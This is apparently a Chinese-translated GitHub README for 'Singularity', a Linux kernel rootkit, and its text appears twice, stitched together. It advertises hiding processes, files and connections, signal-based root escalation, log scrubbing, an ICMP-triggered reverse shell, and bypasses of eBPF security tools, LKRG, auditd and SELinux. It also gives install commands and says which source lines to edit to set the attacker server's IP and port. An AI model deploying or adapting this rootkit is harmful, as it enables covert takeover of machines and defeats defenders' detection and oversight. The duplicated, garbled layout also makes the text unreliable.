MatheuZSecurity/Singularity
GitHub: MatheuZSecurity/Singularity
专为现代 Linux 6.x 内核设计的隐蔽型 Rootkit,具备绕过 eBPF 安全工具和 LKRG 的高级规避能力。
Stars: 1485 | Forks: 163
# Singularity - 隐蔽的 Linux 内核 Rootkit
**Singularity** 是一个强大的 Linux 内核模块 (LKM) rootkit,专为现代 6.x 内核设计。它通过 ftrace 基础设施进行高级系统调用挂钩,提供全面的隐蔽能力。
**完整研究文章(旧版本)**: [Singularity: A Final Boss Linux Kernel Rootkit](https://blog.kyntra.io/Singularity-A-final-boss-linux-kernel-rootkit)
**EDR 规避案例研究**: [Bypassing Elastic EDR with Singularity](https://matheuzsecurity.github.io/hacking/bypassing-elastic/)
**POC 视频: Singularity vs eBPF 安全工具**: [Singularity vs eBPF security tools](https://www.youtube.com/watch?v=ByEp137w3Ks)
**使用 Singularity hooks 突破 eBPF 安全机制**: [Breaking eBPF](https://matheuzsecurity.github.io/hacking/ebpf-security-tools-hacking/)
## 什么是 Singularity?
Singularity 是一个在内核级运行的复杂 rootkit,提供:
- **进程隐藏**:使任何进程对系统完全不可见
- **文件与目录隐藏**:使用模式匹配隐藏文件
- **网络隐蔽**:隐藏 TCP/UDP 连接、端口和 conntrack 条目
- **权限提升**:基于信号的即时 root 权限获取
- **日志清洗**:实时过滤内核日志和系统日志
- **自我隐藏**:从模块列表和系统监控中移除自身
- **远程访问**:ICMP 触发的反向 Shell,自动隐藏
- **反检测**:规避基于 eBPF 的运行时安全工具(Falco, Tracee),绕过 Linux Kernel Runtime Guard (LKRG),并防止 io_uring 绕过尝试
- **审计规避**:在 netlink 层级丢弃隐藏进程的审计消息,带有统计跟踪和 socket inode 过滤
- **内存取证规避**:过滤 /proc/kcore, /proc/kallsyms, /proc/vmallocinfo
- **Cgroup 过滤**:从 cgroup.procs 中过滤隐藏的 PID
- **Syslog 规避**:挂钩 do_syslog 以过滤 klogctl() 内核环形缓冲区访问
- **Debugfs 规避**:过滤 debugfs 等读取原始块设备工具的输出
- **Conntrack 过滤**:从 /proc/net/nf_conntrack 和 netlink SOCK_DIAG/NETFILTER 查询中隐藏连接
- **SELinux 规避**:ICMP 触发时自动绕过 SELinux enforcing 模式
- **LKRG 绕过**:规避 Linux Kernel Runtime Guard 检测机制
- **eBPF 安全绕过**:从基于 eBPF 的运行时安全工具(Falco, Tracee)中隐藏进程
## 功能特性
- 基于信号的权限提升 (kill -59)
- 从 /proc 和监控工具完全隐藏进程
- 基于模式的文件和目录系统隐藏
- 从 netstat, ss, conntrack 和数据包分析器中隐藏网络连接
- 高级 netlink 过滤 (SOCK_DIAG, NETFILTER/conntrack 消息)
- 针对 dmesg, journalctl 和 klogctl 的实时内核日志过滤
- 从 lsmod 和 /sys/module 自我隐藏模块
- 自动内核污点标志标准化
- BPF 数据过滤以防止基于 eBPF 的检测
- 针对 io_uring 异步 I/O 绕过的保护
- 针对内核消息和系统日志的日志掩码
- 规避标准 rootkit 检测器 (unhide, chkrootkit, rkhunter)
- 通过 tracepoint 挂钩自动跟踪和隐藏子进程
- 多架构支持 (x64 + ia32)
- 带有原始套接字保护的网络数据包级过滤
- 防止所有文件 I/O 变体 (read, write, splice, sendfile, tee, copy_file_range)
- 带有统计跟踪的 Netlink 级审计消息过滤,以规避 auditd 检测
- 用于全面网络隐藏的 Socket inode 跟踪
- Cgroup PID 过滤以防止通过 `/sys/fs/cgroup/*/cgroup.procs` 检测
- TaskStats netlink 阻断以防止 PID 枚举
- /proc/kcore 过滤以规避内存取证工具 (Volatility, crash, gdb)
- do_syslog 挂钩以过滤 klogctl() 并防止内核环形缓冲区泄露
- 块设备输出过滤以规避 debugfs 和类似的磁盘取证工具
- 通过 write 挂钩过滤 journalctl -k 输出
- 针对 ICMP 触发 Shell 的 SELinux enforcing 模式绕过能力
- 针对隐藏进程的 LKRG 完整性检查绕过
- 通过 BPF ringbuffer 和 perf event 拦截隐藏 Falco 事件
## 安装
### 前置条件
- Linux kernel 6.x
- 当前运行内核的 Kernel headers
- GCC 和 Make
- Root 权限
### 快速安装
```
cd /dev/shm
git clone https://github.com/MatheuZSecurity/Singularity
cd Singularity
sudo bash setup.sh
sudo bash scripts/x.sh
cd ..
```
就是这样。该模块会自动:
- 从 lsmod, /proc/modules, /sys/module 隐藏自身
- 清除内核污点标志
- 从 dmesg, journalctl -k, klogctl 过滤敏感字符串
- 开始保护你的隐藏文件和进程
### 重要说明
**模块加载后会自动隐藏自身**
**没有卸载功能 - 需要重启才能移除**
**请先在虚拟机中测试 - 不重启无法移除**
## 配置
### 设置你的服务器 IP 和端口
**编辑 `include/core.h`:**
```
#define YOUR_SRV_IP "192.168.1.100" // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } // IPv6 if needed
```
**编辑 `modules/icmp.c`:**
```
#define SRV_PORT "8081" // Change this to your desired port
```
**编辑 `modules/bpf_hook.c`:**
```
#define HIDDEN_PORT 8081 // Must match SRV_PORT
```
**编辑 `modules/hiding_tcp.c`:**
```
#define PORT 8081 // Must match SRV_PORT
```
**重要**:所有端口定义必须匹配,才能实现正确的网络隐藏和 ICMP 反向 Shell 功能。
## 使用方法
### 隐藏进程
```
# 隐藏当前 shell
kill -59 $$
# 隐藏特定进程
kill -59
```
进程将对 ps, top, htop, /proc 和所有监控工具不可见。所有子进程会被自动跟踪和隐藏。
```
**3. 接收 root shell**(自动隐藏所有子进程,如果 SELinux enforcing 模式处于活动状态则自动绕过)
**Singularity** 是一个强大的 Linux 内核模块 (LKM) rootkit,专为现代 6.x 内核设计。它通过 ftrace 基础设施进行高级系统调用挂钩,提供全面的隐蔽能力。
**完整研究文章(旧版本)**: [Singularity: A Final Boss Linux Kernel Rootkit](https://blog.kyntra.io/Singularity-A-final-boss-linux-kernel-rootkit)
**EDR 规避案例研究**: [Bypassing Elastic EDR with Singularity](https://matheuzsecurity.github.io/hacking/bypassing-elastic/)
**POC 视频: Singularity vs eBPF 安全工具**: [Singularity vs eBPF security tools](https://www.youtube.com/watch?v=ByEp137w3Ks)
**使用 Singularity hooks 突破 eBPF 安全机制**: [Breaking eBPF](https://matheuzsecurity.github.io/hacking/ebpf-security-tools-hacking/)
## 什么是 Singularity?
Singularity 是一个在内核级运行的复杂 rootkit,提供:
- **进程隐藏**:使任何进程对系统完全不可见
- **文件与目录隐藏**:使用模式匹配隐藏文件
- **网络隐蔽**:隐藏 TCP/UDP 连接、端口和 conntrack 条目
- **权限提升**:基于信号的即时 root 权限获取
- **日志清洗**:实时过滤内核日志和系统日志
- **自我隐藏**:从模块列表和系统监控中移除自身
- **远程访问**:ICMP 触发的反向 Shell,自动隐藏
- **反检测**:规避基于 eBPF 的运行时安全工具(Falco, Tracee),绕过 Linux Kernel Runtime Guard (LKRG),并防止 io_uring 绕过尝试
- **审计规避**:在 netlink 层级丢弃隐藏进程的审计消息,带有统计跟踪和 socket inode 过滤
- **内存取证规避**:过滤 /proc/kcore, /proc/kallsyms, /proc/vmallocinfo
- **Cgroup 过滤**:从 cgroup.procs 中过滤隐藏的 PID
- **Syslog 规避**:挂钩 do_syslog 以过滤 klogctl() 内核环形缓冲区访问
- **Debugfs 规避**:过滤 debugfs 等读取原始块设备工具的输出
- **Conntrack 过滤**:从 /proc/net/nf_conntrack 和 netlink SOCK_DIAG/NETFILTER 查询中隐藏连接
- **SELinux 规避**:ICMP 触发时自动绕过 SELinux enforcing 模式
- **LKRG 绕过**:规避 Linux Kernel Runtime Guard 检测机制
- **eBPF 安全绕过**:从基于 eBPF 的运行时安全工具(Falco, Tracee)中隐藏进程
## 功能特性
- 基于信号的权限提升 (kill -59)
- 从 /proc 和监控工具完全隐藏进程
- 基于模式的文件和目录系统隐藏
- 从 netstat, ss, conntrack 和数据包分析器中隐藏网络连接
- 高级 netlink 过滤 (SOCK_DIAG, NETFILTER/conntrack 消息)
- 针对 dmesg, journalctl 和 klogctl 的实时内核日志过滤
- 从 lsmod 和 /sys/module 自我隐藏模块
- 自动内核污点标志标准化
- BPF 数据过滤以防止基于 eBPF 的检测
- 针对 io_uring 异步 I/O 绕过的保护
- 针对内核消息和系统日志的日志掩码
- 规避标准 rootkit 检测器 (unhide, chkrootkit, rkhunter)
- 通过 tracepoint 挂钩自动跟踪和隐藏子进程
- 多架构支持 (x64 + ia32)
- 带有原始套接字保护的网络数据包级过滤
- 防止所有文件 I/O 变体 (read, write, splice, sendfile, tee, copy_file_range)
- 带有统计跟踪的 Netlink 级审计消息过滤,以规避 auditd 检测
- 用于全面网络隐藏的 Socket inode 跟踪
- Cgroup PID 过滤以防止通过 `/sys/fs/cgroup/*/cgroup.procs` 检测
- TaskStats netlink 阻断以防止 PID 枚举
- /proc/kcore 过滤以规避内存取证工具 (Volatility, crash, gdb)
- do_syslog 挂钩以过滤 klogctl() 并防止内核环形缓冲区泄露
- 块设备输出过滤以规避 debugfs 和类似的磁盘取证工具
- 通过 write 挂钩过滤 journalctl -k 输出
- 针对 ICMP 触发 Shell 的 SELinux enforcing 模式绕过能力
- 针对隐藏进程的 LKRG 完整性检查绕过
- 通过 BPF ringbuffer 和 perf event 拦截隐藏 Falco 事件
## 安装
### 前置条件
- Linux kernel 6.x
- 当前运行内核的 Kernel headers
- GCC 和 Make
- Root 权限
### 快速安装
```
cd /dev/shm
git clone https://github.com/MatheuZSecurity/Singularity
cd Singularity
sudo bash setup.sh
sudo bash scripts/x.sh
cd ..
```
就是这样。该模块会自动:
- 从 lsmod, /proc/modules, /sys/module 隐藏自身
- 清除内核污点标志
- 从 dmesg, journalctl -k, klogctl 过滤敏感字符串
- 开始保护你的隐藏文件和进程
### 重要说明
**模块加载后会自动隐藏自身**
**没有卸载功能 - 需要重启才能移除**
**请先在虚拟机中测试 - 不重启无法移除**
## 配置
### 设置你的服务器 IP 和端口
**编辑 `include/core.h`:**
```
#define YOUR_SRV_IP "192.168.1.100" // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } // IPv6 if needed
```
**编辑 `modules/icmp.c`:**
```
#define SRV_PORT "8081" // Change this to your desired port
```
**编辑 `modules/bpf_hook.c`:**
```
#define HIDDEN_PORT 8081 // Must match SRV_PORT
```
**编辑 `modules/hiding_tcp.c`:**
```
#define PORT 8081 // Must match SRV_PORT
```
**重要**:所有端口定义必须匹配,才能实现正确的网络隐藏和 ICMP 反向 Shell 功能。
## 使用方法
### 隐藏进程
```
# 隐藏当前 shell
kill -59 $$
# 隐藏特定进程
kill -59
标签:6.x内核, Cgroup过滤, DNS 反向解析, Docker镜像, eBPF绕过, EDR逃逸, ftrace, ICMP后门, Linux内核Rootkit, LKM, LKRG绕过, Root权限提升, Syscall Hooking, 内核攻防, 内核级隐藏, 反向Shell, 子域名变形, 审计绕过, 客户端加密, 客户端加密, 文件隐藏, 日志清洗, 特权升级, 现代内核安全, 私有化部署, 系统调用Hook, 网络可见性, 网络连接隐藏, 进程隐藏, 防御规避